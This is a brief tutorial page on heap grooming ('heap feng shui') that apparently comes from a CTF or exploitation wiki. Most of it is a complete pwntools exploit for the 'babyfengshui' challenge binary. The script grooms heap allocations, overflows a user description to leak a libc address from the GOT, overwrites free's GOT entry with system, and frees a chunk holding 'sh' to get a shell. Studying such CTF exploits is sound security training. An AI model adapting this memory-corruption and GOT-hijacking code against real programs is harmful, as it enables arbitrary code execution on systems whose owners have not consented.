Skip to content

Heap Grooming

Heap Grooming

These Techniques are used to make a Heap Exploit more reliable.

Fung Shei

By Mallocing many objects this makes a huge block of allocated memory.
Then by selectively deallocating objects that were allocated this creates specific unallocated memory locations that are near to other consolable objects.

Example Exploit

Exploit Solution:

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

ELF_PATH = "./babyfengshui"
LIBC_PATH = "/usr/lib32/libc.so.6"

elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)

def add_user(desc_len, name, text_len, text):
    r.sendlineafter("Action: ", "0")
    r.sendlineafter("description: ", str(desc_len))
    r.sendlineafter("name: ", name)
    r.sendlineafter("length: ", str(text_len))
    r.sendlineafter("text: ", text)

def del_user(index):
    r.sendlineafter("Action: ", "1")
    r.sendlineafter("index: ", str(index))

def show_user(index):
    r.sendlineafter("Action: ", "2")
    r.sendlineafter("index: ", str(index))

def update_user(index, text_len, text):
    r.sendlineafter("Action: ", "3")
    r.sendlineafter("index: ", str(index))
    r.sendlineafter("length: ", str(text_len))
    r.sendlineafter("text: ", text)

if __name__ == "__main__":

    #r = remote(HOST, PORT)
    r = process(ELF_PATH)

    
    add_user(50, "A"*123, 12, "a"*12)
    add_user(50, "B"*123, 12, "b"*12) 
    add_user(50, "C"*123, 12, "sh\x00") # user[2], desc = "sh\x00" (for later's GOT hijacking)

    del_user(0)
    add_user(90, "D"*123, 12, "d"*12)
    add_user(50, "E"*123, 0x100, "i"*0xf8 + p32(elf.got['__libc_start_main'])) 
    # now user[4]'s desc is user[0]'s desc (in previous)

    # user[4]->desc + 0x2c8 = user[4], which means we can overflow user[4]->desc & overwrite user[1]->desc to [email protected]


    # leak address

    show_user(1)
    r.recvuntil("description: ")
    libc.address += u32(r.recv(4)) - libc.symbols['__libc_start_main']
    system_addr = libc.symbols['system']
    log.success("libc: "+hex(libc.address))
    log.success("system: "+hex(system_addr))
    
    # change user[1]->desc into [email protected]

    # hijack free's got, then free user[2] to get shell

    update_user(4, 0x100, "i"*0xf8 + p32(elf.got['free']))
    update_user(1, 5, p32(system_addr))
    del_user(2)

    r.interactive()